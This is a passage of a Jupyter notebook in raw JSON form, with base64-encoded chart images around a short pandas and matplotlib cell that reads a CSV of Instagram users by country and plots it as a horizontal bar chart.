mXgd+9VE183fe/pMkoOAPYEDq2o0rHgd+8eT6PxH32XN7ztPBC5J8jf02XU0kPbOxcDmSTZNsjqdG4tPbbkmTUKS0Lln7cqq+n9dq04FDmqWDwK+vapr0+RU1fuq6olVNYfOz95ZVfUavIZ9par+AFyX5KlN0+7Az/A69pvfAs9I8sjm79fd6dyb73XsTxNdt1OB/ZI8IsmmwObARS3Up0lIsgfwz8DLqururlVexz5RVYur6vFVNaf5fed6YPvm386+uo6z2i5gUFXV/Un+HjidzhMFj6mqK1ouS5PzLOC1wOIkC5u2fwE+DnwjyRvp/IL1qnbK00rwGvafdwDHN/+xdxXwejr/mep17BNVdWGSk4FL6EwNvBRYAKyJ13FaS3ICsAuwbpLrgUOZ4O/RqroiyTfo/KfR/cDbq2pJK4Xrr0xwHd8HPAL4Qef/ibigqt7idZy+xruOVfWl8fr223XMgyP0kiRJkiStOk7ZlSRJkiS1wkAqSZIkSWqFgVSSJEmS1AoDqSRJkiSpFQZSSZIkSVIrDKSSJE2xJHOSXD6m7bAk7+7R8ZLkrCSPbl5Xkq92rZ+V5KYkpzWvX5bkkLF1JTk2yT7N8tFJtpzCGrdOcuxU7U+SNBj8HFJJkvpAkllVdf8Eq18MXFZVtzev7wK2SrJGVd0DPB/43WjnqjqVzgenT6iq/m4Kyu7e3+IkT0yycVX9dir3LUnqX46QSpK0CiV5Z5KfJVmU5MSm7VFJjklycZJLk+zVtB+c5KQk3wHOSLJBknOTLExyeZJnN7s9EPj2mEP9N/CSZnl/4ISuGg5OcsQy6jwnyVCzvH+Sxc0xP9HV584kH01yWZILkqzftL+q6XtZknO7dvsdYL/lfMskSQPMQCpJ0qp1CLBdVW0DvKVpez9wVlXtAOwKfDLJo5p1OwEHVdVuwAHA6VU1F9gWWNj0eRYwMuY4JwL7JZkNbANcuCLFJtkQ+ASwGzAX2CHJ3s3qRwEXVNW2wLnAm5r2DwIvbNpf1rW7YeDZSJLUMJBKkjT1ainti4Djk7wGGJ2C+wLgkCQLgXOA2cDGzbofVNWtzfLFwOuTHAZsXVV3NO3rdC13DlS1CJhDZ3T0eytxLjsA51TVTc2U4eOB5zTr/gKc1iyPNMcD+AlwbJI3Aat17etGYMOVqEWSNGAMpJIkTb1bgMeOaVsHuJnONNrPA/OAkSSzgACvrKq5zdfGVXVls91dozuoqnPphMHfAV9N8rpm1f1Jxvs3/VTgU3RN110BWcq6+6pqNHwvoXk2RVW9BfgAsBGwMMnjmj6zgXtWohZJ0oAxkEqSNMWq6k7ghiS7AyRZB9gDOA/YqKrOBt4LPAZYEzgdeEeSNP23G2+/STYBbqyqo4AvAds3q34BbDbOJscAH66qxStxOhcCz02ybpLV6Iy4/mhpGyR5UlVdWFUfpBPCN2pWPQW4fOItJUkzjU/ZlSSpN14HfD7JvzevPwT8Fjg7ydp0Rh4/XVW3JfkI8BlgURNKrwH2HGefuwDvSXIfcGdzDIDvNut+3d25qq4HPrsyJ1FVNyR5H3B2U/P3qmrsA5TG+mSSzZv+ZwKXNe27NrVKkgRAHpxpI0mS+lGSDYDjqur5bdcykSSPoDOyuvNSPr5GkjTDOGVXkqQ+V1U3AEcleXTbtSzFxsAhhlFJUjdHSCVJkiRJrXCEVJIkSZLUCgOpJEmSJKkVBlJJkiRJUisMpJIkSZKkVhhIJUmSJEmt+P8BlN9ZcbPlMiEAAAAASUVORK5CYII=\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas as pd\n", + "import matplotlib.pyplot as plt #import matplotlib \n", + "#Reading the Comma Seperated values file using pandas\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG3.csv\", header=0, sep=\",\") \n", + "\n", + "print(\"Instagram users by country :\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "print(stats)\n", + "\n", + "#make a dataframe\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "#colors to plot bar graph\n", + "c = ['red', 'yellow', 'black', 'blue', 'orange', 'green']\n", + "\n", + "plt.figure(figsize=(15,7))\n", + "plt.barh(x, y, color=c)\n", + "plt.title(\"Instagram users by country\")\n", + "plt.xlabel(\"Users(Millions)\") #x -axis\n", + "plt.ylabel(\"Country\") #y -axis\n", + "plt.show() #show" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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